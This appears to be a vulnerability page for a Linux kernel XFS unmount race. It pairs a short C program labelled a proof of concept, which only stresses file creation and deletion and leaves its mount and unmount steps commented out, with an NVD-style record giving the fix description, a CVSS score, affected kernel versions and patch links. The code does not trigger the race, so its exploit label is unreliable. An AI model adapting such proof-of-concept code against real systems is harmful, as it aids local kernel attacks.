CVE-2026-31455

/* * PoC for CVE-2026-31455 (XFS Unmount Race Condition) * This PoC attempts to trigger the race by stressing XFS operations * and triggering unmount/flush sequences. * Compile: gcc -o poc_xfs poc_xfs.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/mount.h> #include <fcntl.h> #include <pthread.h> #define MOUNT_POINT "/mnt/xfs_test" #define LOOP_DEVICE "/dev/loop0" void* stress_inode_gc(void* arg) { // Create and delete files to trigger inodegc for (int i = 0; i < 100000; i++) { char fname[256]; snprintf(fname, sizeof(fname), "%s/file_%d", MOUNT_POINT, i); int fd = open(fname, O_CREAT | O_RDWR, 0644); if (fd > 0) close(fd); unlink(fname); } return NULL; } int main() { pthread_t t1, t2; // Note: Requires setup of XFS filesystem on LOOP_DEVICE beforehand // mount(LOOP_DEVICE, MOUNT_POINT, "xfs", 0, NULL); printf("Starting stress test to trigger XFS race condition...\n"); // Spawn threads to stress background reclaim and inodegc pthread_create(&t1, NULL, stress_inode_gc, NULL); pthread_create(&t2, NULL, stress_inode_gc, NULL); // Simulate the unmount sequence or trigger specific syscalls // In a real exploit scenario, timing is critical to hit the window // inside xfs_unmount_flush_inodes(). sleep(1); // Triggering unmount (usually requires root) // system("umount " MOUNT_POINT); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("PoC execution finished.\n"); return 0; }

{"cve": {"id": "CVE-2026-31455", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:40.013", "lastModified": "2026-05-05T21:11:27.460", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: stop reclaim before pushing AIL during unmount\n\nThe unmount sequence in xfs_unmount_flush_inodes() pushed the AIL while\nbackground reclaim and inodegc are still running. This is broken\nindependently of any use-after-free issues - background reclaim and\ninodegc should not be running while the AIL is being pushed during\nunmount, as inodegc can dirty and insert inodes into the AIL during the\nflush, and background reclaim can race to abort and free dirty inodes.\n\nReorder xfs_unmount_flush_inodes() to stop inodegc and cancel background\nreclaim before pushing the AIL. Stop inodegc before cancelling\nm_reclaim_work because the inodegc worker can re-queue m_reclaim_work\nvia xfs_inodegc_set_reclaimable."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.9", "versionEndExcluding": "5.10.253", "matchCriteriaId": "21B274FB-38BA-4107-B442-283511DC26AB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/239d734c00644072862fa833805c4471573b1445", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4f24a767e3d64a5f58c595b5c29b6063a201f1e3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/558e3275d8a3b101be18a7fe7d1634053e9d9b07", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8147e304d7d32fd5c3e943babc296ce2873dc279", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a89434a6188d8430ea31120da96e3e4cefb58686", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bda27fc0b4eb3a425d9a18475c4cb94fbe862c60", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d38135af04a3ad8a585c899d176efc8e97853115", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67 ... 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